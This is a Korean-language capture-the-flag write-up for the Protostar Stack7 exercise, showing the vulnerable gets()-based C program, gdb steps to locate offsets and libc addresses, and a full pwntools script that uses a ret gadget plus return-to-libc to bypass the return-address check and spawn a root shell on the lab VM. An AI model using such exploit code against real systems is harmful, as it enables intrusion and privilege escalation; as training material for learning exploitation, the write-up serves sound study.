[Protostar] Stack7
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
stack6번과 비슷한 문제인데 차이점이라 하면,
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
이 부분이다.
전 문제(Stack6)에서는 if((ret & 0xbf000000) == 0xbf000000) 로 stack영역의 주소를 사용하지 못하도록 했다면,
이번 문제의 조건 if((ret & 0xb0000000) == 0xb0000000)은 일반적인 RTL(Return-to-lib) 방법 사용이 불가능하다.
( system 함수와 /bin/sh가 0xb로 시작한다.)
👉 이 문제를 해결하는 방법은 ROP기법을 이용해서 풀어보기로 했다.
1) ret 부분에 ret 가젯을 넣는 방법이다.
2) 그러고 나서 새로운 ret에서는 stack6문제처럼 system()함수 주소를 넣어 새로운 RTL 기법을 이용
스택을 구조를 그리면 아래와 같다.
📌 필요한 값
1. buffer와 sfp사이 dummy 구간의 길이
2. ret가젯 주소
3. system함수의 주소
4. /bin/sh의주소
1. buffer와 sfp사이 dummy 구간의 길이
입력값으로 줄 문자열을 /tmp에 payload로 저장.
그러고 나서 gdb로 stack7 파일을 열고 나서 ret에 breakpoint를 건다음에 입력값을 주고 확인을 해보면
👉 A*64+BBBB+CCCC+DDDD+EEEE+DDDD : 80bytes
2. ret가젯 주소
ret 가젯 주소로 기존, getpath의 ret를 활용
👉 0x08048544
3. system함수의 주소
👉 0xb7ecffb0
4. /bin/sh의주소
$ ldd ./stack6
$ strings -tx /lib/libc.so.6 | grep '/bin/sh'
$ gdb -q /lib/libc.so.6
(gdb) print system
→ 0x38fb0
(gdb) p/x 0x11f3bf-0x38fb0
→ /bin/sh 주소 - print 함수주소
→ offset : 0xe640f
$ gdb -q stack7
(gdb) b *main
(gdb) r
(gdb) print system
→ offset : 0xb7ecffb0
(gdb) p/x 0xb7ecffb0+0xe640f
→ system함수 + offset
= /bin/sh 주소 : 0xb7fb63bf
👉 0xb7fb63bf
이제 페이로드를 구성하게 되면,
A 80개 (buffer + dummy + spf 👉 80bytes)
ret 가젯 주소 👉 0x08048544
* 0xb로 시작하지 않으므로 조건 만족!
system 함수 주소 👉 0xb7ecffb0
system ret dummy 값 👉 0xffffffff
/bin/sh 주소 👉 0xb7fb63bf
pwntools로 코드를 작성하게 되면 아래와 같다.
from pwn import *
system_addr=p32(0xb7ecffb0)
dummy=p32(0xffffffff)
bin_sh_addr=p32(0xb7fb63bf)
ret_address=p32(0x08048544)
offset=80
payload=b'A'*offset+ret_address+system_addr+dummy+bin_sh_addr
p=ssh(user="protostar",host="192.168.239.135",port=22,password="godmode")
p=p.run(['/opt/protostar/bin/stack7'])
p.sendline(payload)
p.interactive()
실행결과 :
root 권한 획득!